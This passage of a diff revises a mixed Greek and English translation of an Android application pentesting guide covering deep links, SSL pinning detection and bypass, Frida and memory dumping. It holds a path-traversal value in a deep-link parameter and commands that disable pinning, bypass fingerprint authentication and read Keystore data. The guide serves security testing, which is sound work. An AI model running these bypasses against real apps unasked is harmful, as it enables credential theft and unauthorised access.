να **εξάγετε ευαίσθητα** δεδομένα από αυτά. Επίσης είναι ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals**, καθώς μπορεί να είναι ευπαθείς. -[**Μάθετε πώς να εκμεταλλευτείτε Content Providers με το Drozer.**](drozer-tutorial/index.html#content-providers) +[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Διαβάστε αυτό αν θέλετε να επαναλάβετε τι είναι ένα Service.**](android-applications-basics.md#services)\ -Θυμηθείτε ότι οι ενέργειες ενός Service ξεκινούν στη μέθοδο `onStartCommand`. +[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ +Υπενθύμιση ότι οι ενέργειες ενός Service ξεκινούν στη μέθοδο `onStartCommand`. -Ένα Service είναι βασικά κάτι που **μπορεί να λαμβάνει δεδομένα**, να τα **επεξεργάζεται** και να **επιστρέφει** (ή όχι) μια απάντηση. Επομένως, αν μια εφαρμογή exports κάποια services θα πρέπει να **ελέγξετε** τον **κώδικα** για να καταλάβετε τι κάνει και να τα **δοκιμάσετε** **δυναμικά** για εξαγωγή εμπιστευτικών πληροφοριών, παράκαμψη μέτρων authentication...\ -[**Μάθετε πώς να εκμεταλλευτείτε Services με το Drozer.**](drozer-tutorial/index.html#services) +Ένα service είναι βασικά κάτι που **μπορεί να λαμβάνει δεδομένα**, να τα **επεξεργάζεται** και να **επιστρέφει** (ή όχι) μια απάντηση. Επομένως, αν μια εφαρμογή εξάγει κάποιο services πρέπει να **ελέγξετε** τον **κώδικα** για να καταλάβετε τι κάνει και να το **δοκιμάσετε** **δυναμικά** για εξαγωγή εμπιστευτικών πληροφοριών, bypassing authentication measures...\ +[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Διαβάστε αυτό αν θέλετε να επαναλάβετε τι είναι ένα Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Θυμηθείτε ότι οι ενέργειες ενός Broadcast Receiver ξεκινούν στη μέθοδο `onReceive`. +[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +Υπενθύμιση ότι οι ενέργειες ενός Broadcast Receiver ξεκινούν στη μέθοδο `onReceive`. -Ένας Broadcast Receiver θα περιμένει έναν τύπο μηνύματος. Ανάλογα με το πώς ο receiver χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\ -[**Μάθετε πώς να εκμεταλλευτείτε Broadcast Receivers με το Drozer.**](#exploiting-broadcast-receivers) +Ένας broadcast receiver θα περιμένει έναν τύπο μηνύματος. Ανάλογα με το πώς ο receiver χειρίζεται το μήνυμα, μπορεί να είναι ευπαθής.\ +[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Μπορείτε να ψάξετε για deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως το MobSF ή scripts όπως [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Μπορείτε να αναζητήσετε deep links χειροκίνητα, χρησιμοποιώντας εργαλεία όπως MobSF ή scripts όπως [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ Μπορείτε να **ανοίξετε** ένα δηλωμένο **scheme** χρησιμοποιώντας **adb** ή έναν **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Σημειώστε ότι μπορείτε να **παραλείψετε το όνομα του πακέτου** και το κινητό θα καλέσει αυτόματα την εφαρμογή που πρέπει να ανοίξει αυτόν τον σύνδεσμο._ +_Σημειώστε ότι μπορείτε να **παραλείψετε το όνομα πακέτου** και το κινητό θα καλέσει αυτόματα την εφαρμογή που πρέπει να ανοίξει αυτόν τον σύνδεσμο._ ```html Click me with alternative ``` -**Εκτελούμενος κώδικας** +**Code executed** -Για να βρείτε τον **κώδικα που θα εκτελεστεί στην App**, μεταβείτε στη δραστηριότητα που καλείται από το deeplink και αναζητήστε τη συνάρτηση **`onNewIntent`**. +Για να βρείτε τον **κώδικα που θα εκτελεστεί στην App**, πηγαίνετε στην activity που καλείται από το deeplink και αναζητήστε τη συνάρτηση **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Ευαίσθητες πληροφορίες** +**Sensitive info** -Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω URL παραμέτρων**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε να **μιμηθεί το deep link και να κλέψει αυτά τα δεδομένα!** +Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει sensitive data (όπως passwords) μέσω URL parameters**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε να **προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!** -**Παράμετροι στο path** +**Parameters in path** -Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί παράμετρο μέσα στο path** του URL όπως: `https://api.example.com/v1/users/{username}` , σε αυτή την περίπτωση μπορείτε να αναγκάσετε path traversal προσπελάζοντας κάτι σαν: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή ίσως να μπορείτε να προκαλέσετε ένα **Open Redirect** (εάν μέρος του path χρησιμοποιείται ως domain name), **account takeover** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το vuln endpoint χρησιμοποιούσε τη σωστή μέθοδο) και οποιοδήποτε άλλο vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Πρέπει επίσης να ελέγξετε αν κάποιο deep link χρησιμοποιεί παράμετρο μέσα στο path του URL όπως: `https://api.example.com/v1/users/{username}` , σε αυτή την περίπτωση μπορείτε να προκαλέσετε path traversal προσπελάζοντας κάτι σαν: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να καταφέρετε να προκαλέσετε **Open Redirect** (αν μέρος του path χρησιμοποιείται ως domain name), **account takeover** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το vuln endpoint χρησιμοποιούσε τη σωστή μέθοδο) και οποιαδήποτε άλλη vuln. Περισσότερα [info about this here](http://dphoeniixx.com/2020/12/13-2/). -**Περισσότερα παραδείγματα** +**More examples** -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). +Ένα [interesting bug bounty report](https://hackerone.com/reports/855618) σχετικά με links (_/.well-known/assetlinks.json_). -### Έλεγχος Επιπέδου Μεταφοράς και Σφάλματα Επαλήθευσης +### Transport Layer Inspection and Verification Failures -- **Τα certificates δεν ελέγχονται πάντα σωστά** από εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται self-signed certificates ή, σε ορισμένες περιπτώσεις, να επανέρχονται στη χρήση HTTP συνδέσεων. -- **Οι διαπραγματεύσεις κατά το SSL/TLS handshake μερικές φορές είναι αδύναμες**, χρησιμοποιώντας μη ασφαλείς cipher suites. Αυτή η ευαλωτότητα κάνει τη σύνδεση ευάλωτη σε man-in-the-middle (MITM) επιθέσεις, επιτρέποντας σε επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα. -- **Διαρροή ιδιωτικών πληροφοριών** είναι κίνδυνος όταν εφαρμογές ταυτοποιούνται μέσω ασφαλών καναλιών αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών καναλιών για άλλες συναλλαγές. Αυτή η προσέγγιση δεν προστατεύει ευαίσθητα δεδομένα, όπως session cookies ή λεπτομέρειες χρηστών, από υποκλοπή από κακόβουλες οντότητες. +- **Certificates are not always inspected properly** από Android applications. Είναι συχνό αυτές οι εφαρμογές να αγνοούν προειδοποιήσεις και να αποδέχονται self-signed certificates ή, σε μερικές περιπτώσεις, να επιστρέφουν στη χρήση HTTP connections. +- **Negotiations during the SSL/TLS handshake are sometimes weak**, χρησιμοποιώντας insecure cipher suites. Αυτό το πρόβλημα κάνει τη σύνδεση ευάλωτη σε man-in-the-middle (MITM) attacks, επιτρέποντας σε επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα. +- **Leakage of private information** είναι ένας κίνδυνος όταν εφαρμογές authenticate χρησιμοποιώντας secure channels αλλά στη συνέχεια επικοινωνούν μέσω non-secure channels για άλλες συναλλαγές. Αυτή η προσέγγιση δεν προστατεύει ευαίσθητα δεδομένα, όπως session cookies ή στοιχεία χρήστη, από υποκλοπή από κακόβουλους φορείς. -#### Επαλήθευση Πιστοποιητικού +#### Certificate Verification -Θα επικεντρωθούμε σε **certificate verification**. Η ακεραιότητα του πιστοποιητικού του server πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο επειδή μη ασφαλείς TLS ρυθμίσεις και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορούν να προκαλέσουν σημαντικούς κινδύνους. Για λεπτομερή βήματα σχετικά με την επαλήθευση server certificates και την αντιμετώπιση ευπαθειών, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει ολοκληρωμένες οδηγίες. +Θα επικεντρωθούμε στην **certificate verification**. Η ακεραιότητα του server's certificate πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί insecure TLS configurations και η μετάδοση sensitive data πάνω από μη κρυπτογραφημένες συνδέσεις μπορούν να δημιουργήσουν σημαντικούς κινδύνους. Για αναλυτικά βήματα σχετικά με την επαλήθευση server certificates και την επίλυση ευπαθειών, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει πλήρεις οδηγίες. #### SSL Pinning -SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του server με αντίγραφο γνωστό και αποθηκευμένο εντός της ίδιας της εφαρμογής. Αυτή η μέθοδος είναι ουσιώδης για την αποτροπή MITM επιθέσεων. Η υλοποίηση SSL Pinning συστήνεται έντονα για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες. +SSL Pinning είναι ένα security μέτρο όπου η εφαρμογή επαληθεύει το server's certificate σε σχέση με ένα γνωστό αντίγραφό του που φυλάσσεται μέσα στην εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή MITM attacks. Συνιστάται έντονα η υλοποίηση του SSL Pinning για εφαρμογές που χειρίζονται sensitive information. #### Traffic Inspection -Για να ελέγξετε το HTTP traffic, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του proxy tool** (π.χ. Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, πιθανότατα η κρυπτογραφημένη κίνηση δεν θα είναι ορατή μέσω του proxy. Για οδηγό εγκατάστασης ενός custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Για να επιθεωρήσετε HTTP traffic, είναι απαραίτητο να **εγκαταστήσετε το proxy tool's certificate** (π.χ. Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, το κρυπτογραφημένο traffic μπορεί να μην είναι ορατό μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Εφαρμογές που στοχεύουν **API Level 24 and above** απαιτούν τροποποιήσεις στο Network Security Config για να αποδεχτούν το CA certificate του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση του Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Εφαρμογές που στοχεύουν **API Level 24 and above** απαιτούν τροποποιήσεις στο Network Security Config για να αποδεχτούν το proxy's CA certificate. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένου traffic. Για οδηγίες σχετικά με την τροποποίηση του Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. +Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**this page**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το certificate στο store δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα με έγκυρες CAs. #### Static detection of SSL/TLS pinning -Πριν επιχειρήσετε runtime bypasses, χαρτογραφήστε γρήγορα πού εφαρμόζεται το pinning στο APK. Η στατική ανίχνευση βοηθά στο να σχεδιάσετε hooks/patches και να εστιάσετε στα σωστά code paths. +Πριν επιχειρήσετε runtime bypasses, χαρτογραφήστε γρήγορα που επιβάλλεται το pinning στο APK. Η static discovery βοηθά στο να σχεδιάσετε hooks/patches και να εστιάσετε στα σωστά code paths. Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- Open-source static-analysis utility που decompiles το APK σε Smali (μέσω apktool) και σαρώνει για curated regex patterns υλοποιήσεων SSL/TLS pinning. +- Αναφέρει ακριβές file path, αριθμό γραμμής, και ένα code snippet για κάθε match. +- Καλύπτει κοινά frameworks και custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, και Network Security Config XML pins. -Εγκατάσταση -- Προαπαιτούμενα: Python >= 3.8, Java on PATH, apktool +Install +- Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -464,8 +463,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -Παραδείγματα κανόνων προτύπων (JSON) -Χρησιμοποιήστε ή επεκτείνετε signatures για να εντοπίσετε ιδιόκτητα/προσαρμοσμένα στυλ pinning. Μπορείτε να φορτώσετε το δικό σας JSON και να scan σε μεγάλη κλίμακα. +Παραδείγματα pattern κανόνων (JSON) +Χρησιμοποιήστε ή επεκτείνετε signatures για να εντοπίσετε proprietary/custom pinning styles. Μπορείτε να φορτώσετε το δικό σας JSON και να σαρώσετε σε μεγάλη κλίμακα. ```json { "OkHttp Certificate Pinning": [ @@ -479,45 +478,45 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ] } ``` -Σημειώσεις και συμβουλές -- Γρήγορο σκανάρισμα σε μεγάλες εφαρμογές μέσω multi-threading και memory-mapped I/O; pre-compiled regex μειώνει το overhead/false positives. -- Συλλογή patterns: https://github.com/aancw/smali-sslpin-patterns -- Τυπικοί στόχοι ανίχνευσης για περαιτέρω αξιολόγηση: -- OkHttp: χρήση CertificatePinner, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, overrides του checkServerTrusted -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init με custom managers -- Declarative pins σε res/xml network security config και αναφορές στο manifest -- Χρησιμοποιήστε τις εντοπισμένες θέσεις για να σχεδιάσετε Frida hooks, static patches ή ανασκοπήσεις config πριν από dynamic testing. +Notes and tips +- Γρήγορο scanning σε μεγάλες εφαρμογές μέσω multi-threading και memory-mapped I/O· pre-compiled regex μειώνει το overhead/false positives. +- Pattern collection: https://github.com/aancw/smali-sslpin-patterns +- Typical detection targets to triage next: +- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- Χρησιμοποιήστε τις εντοπισμένες τοποθεσίες για να σχεδιάσετε Frida hooks, static patches, ή reviews των config πριν από dynamic testing. #### Παράκαμψη SSL Pinning -Όταν εφαρμόζεται SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση του HTTPS traffic. Υπάρχουν διάφορες μέθοδοι διαθέσιμες για αυτόν τον σκοπό: +Όταν εφαρμόζεται το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για να ελεγχθεί η κίνηση HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό: -- Αυτόματα **τροποποιήσετε** το **apk** για να **παρακάμψετε** SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το κύριο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν δουλεύει πάντα. -- Μπορείτε να χρησιμοποιήσετε **Frida** (συζητιέται παρακάτω) για να παρακάμψετε αυτήν την προστασία. Εδώ υπάρχει ένας οδηγός για χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Μπορείτε επίσης να δοκιμάσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Μπορείτε επίσης να δοκιμάσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω) -- Αν νομίζετε ότι υπάρχει ακόμα κίνηση που δεν καταγράφετε, μπορείτε να δοκιμάσετε να **προωθήσετε την κίνηση στο Burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το μεγαλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε ξανά τη νέα, και αυτό δεν λειτουργεί πάντα. +- Μπορείτε να χρησιμοποιήσετε **Frida** (συστήνεται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ υπάρχει ένας οδηγός για χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Μπορείτε επίσης να δοκιμάσετε να **αυτόματα παρακάμψετε το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω) +- Αν νομίζετε ότι υπάρχει ακόμα κίνηση που δεν καταγράφετε, μπορείτε να δοκιμάσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Αναζήτηση κοινών web ευπαθειών -Είναι σημαντικό επίσης να αναζητήσετε κοινές web ευπάθειες μέσα στην εφαρμογή. Λεπτομέρειες για τον εντοπισμό και την αντιμετώπιση αυτών των ευπαθειών υπερβαίνουν το πλαίσιο αυτής της περίληψης αλλά καλύπτονται εκτενώς αλλού. +Είναι σημαντικό επίσης να αναζητήσετε κοινές web ευπάθειες μέσα στην εφαρμογή. Λεπτομέρειες για τον εντοπισμό και την αντιμετώπιση αυτών των ευπαθειών υπερβαίνουν το πλαίσιο αυτής της περιληπτικής παρουσίασης αλλά καλύπτονται εκτενώς αλλού. ### Frida -[Frida](https://www.frida.re) είναι ένα dynamic instrumentation toolkit για developers, reverse-engineers και security researchers.\ -**Μπορείτε να αποκτήσετε πρόσβαση σε τρέχουσα εφαρμογή και να κάνετε hook μεθόδους κατά το runtime για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\ -Αν θέλετε να pentest Android applications πρέπει να ξέρετε πώς να χρησιμοποιείτε Frida. +[Frida](https://www.frida.re) είναι ένα toolkit δυναμικής instrumentation για developers, reverse-engineers και ερευνητές ασφαλείας.\ +**Μπορείτε να αποκτήσετε πρόσβαση στην τρέχουσα εφαρμογή και να κάνετε hook μεθόδους σε runtime για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να τρέξετε διαφορετικό κώδικα...**\ +Αν θέλετε να pentest εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida. -- Μάθετε πώς να χρησιμοποιείτε Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Κάποια "GUI" για ενέργειες με Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Μπορείτε να βρείτε μερικά Awesome Frida scripts εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Προσπαθήστε να παρακάμψετε anti-debugging / anti-frida μηχανισμούς φορτώνοντας το Frida όπως υποδεικνύεται στο [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (εργαλείο [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & SSL pinning bypass workflow +#### Anti-instrumentation & SSL pinning ροή παράκαμψης {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -525,9 +524,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Dump Memory - Fridump** -Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως passwords ή mnemonics. +Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως κωδικούς πρόσβασης ή mnemonics. -Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να κάνετε dump τη μνήμη της εφαρμογής με: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -536,63 +535,65 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Αυτό θα κάνει dump τη μνήμη στον φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι σαν: +Αυτό θα dump τη μνήμη στο φάκελο ./dump, και εκεί μπορείτε να κάνετε grep με κάτι σαν: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Ευαίσθητα δεδομένα στο Keystore** -Στο Android το Keystore είναι το καλύτερο μέρος για την αποθήκευση ευαίσθητων δεδομένων, ωστόσο, με επαρκή προνόμια εξακολουθεί να είναι **εφικτό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε clear text**, οι pentests θα πρέπει να το ελέγχουν, καθώς ένας root user ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να κλέψει αυτά τα δεδομένα. +Στο Android το Keystore είναι το καλύτερο μέρος για την αποθήκευση ευαίσθητων δεδομένων, όμως με επαρκή προνόμια εξακολουθεί να είναι **εφικτό να αποκτηθεί πρόσβαση σε αυτό**. -Ακόμη και αν μια εφαρμογή αποθήκευε δεδομένα στο keystore, τα δεδομένα πρέπει να είναι κρυπτογραφημένα. +Επειδή οι εφαρμογές τείνουν να αποθηκεύουν εδώ **sensitive data in clear text**, οι pentests πρέπει να το ελέγξουν, καθώς ένας χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να κλέψει αυτά τα δεδομένα. -Για να αποκτήσετε πρόσβαση στα δεδομένα μέσα στο keystore μπορείτε να χρησιμοποιήσετε αυτό το Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Ακόμη και αν μια εφαρμογή αποθήκευσε δεδομένα στο Keystore, τα δεδομένα πρέπει να είναι κρυπτογραφημένα. + +Για να αποκτήσετε πρόσβαση στα δεδομένα μέσα στο Keystore μπορείτε να χρησιμοποιήσετε αυτό το Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Χρησιμοποιώντας το ακόλουθο Frida script, είναι πιθανό να γίνει **bypass fingerprint authentication** που μπορεί να εκτελούν οι εφαρμογές Android, προκειμένου να **προστατέψουν ορισμένες ευαίσθητες περιοχές:** +Χρησιμοποιώντας το παρακάτω Frida script, ενδέχεται να είναι δυνατό να γίνει **bypass fingerprint authentication** που πραγματοποιούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` -### **Εικόνες παρασκηνίου** +### **Εικόνες φόντου** -Όταν βάζετε μια εφαρμογή στο παρασκήνιο, το Android αποθηκεύει ένα **στιγμιότυπο της εφαρμογής** ώστε όταν επανέλθει στο προσκήνιο να αρχίζει να φορτώνει την εικόνα πριν από την εφαρμογή, έτσι φαίνεται σαν να φορτώθηκε η εφαρμογή πιο γρήγορα. +Όταν βάζετε μια εφαρμογή στο παρασκήνιο, Android αποθηκεύει ένα **στιγμιότυπο της εφαρμογής** ώστε όταν επανέλθει στο προσκήνιο να αρχίζει να φορτώνει την εικόνα πριν την εφαρμογή ώστε να φαίνεται ότι η εφαρμογή φορτώθηκε πιο γρήγορα. -Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημείωση: χρειάζεστε root για να αποκτήσετε πρόσβαση). +Ωστόσο, αν αυτό το στιγμιότυπο περιέχει **ευαίσθητες πληροφορίες**, κάποιος με πρόσβαση στο στιγμιότυπο μπορεί να **κλέψει αυτές τις πληροφορίες** (σημείωση: χρειάζεται root για να αποκτήσετε πρόσβαση). -Τα στιγμιότυπα συνήθως αποθηκεύονται στο: **`/data/system_ce/0/snapshots`** +Τα στιγμιότυπα συνήθως αποθηκεύονται στη διαδρομή: **`/data/system_ce/0/snapshots`** -Το Android παρέχει έναν τρόπο για **να αποτρέψει τη λήψη στιγμιότυπων οθόνης θέτοντας την παράμετρο layout FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, τα περιεχόμενα του παραθύρου αντιμετωπίζονται ως ασφαλή, αποτρέποντας την εμφάνισή τους σε στιγμιότυπα οθόνης ή να προβληθούν σε μη ασφαλείς οθόνες. +Android παρέχει τρόπο για να **αποτραπεί η λήψη στιγμιότυπου οθόνης ρυθμίζοντας την παράμετρο layout FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, τα περιεχόμενα του παραθύρου θεωρούνται ασφαλή, αποτρέποντας να εμφανίζονται σε στιγμιότυπα οθόνης ή να προβάλλονται σε μη ασφαλείς οθόνες. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Αυτό το εργαλείο μπορεί να σας βοηθήσει στη διαχείριση διαφορετικών εργαλείων κατά τη διάρκεια της δυναμικής ανάλυσης: 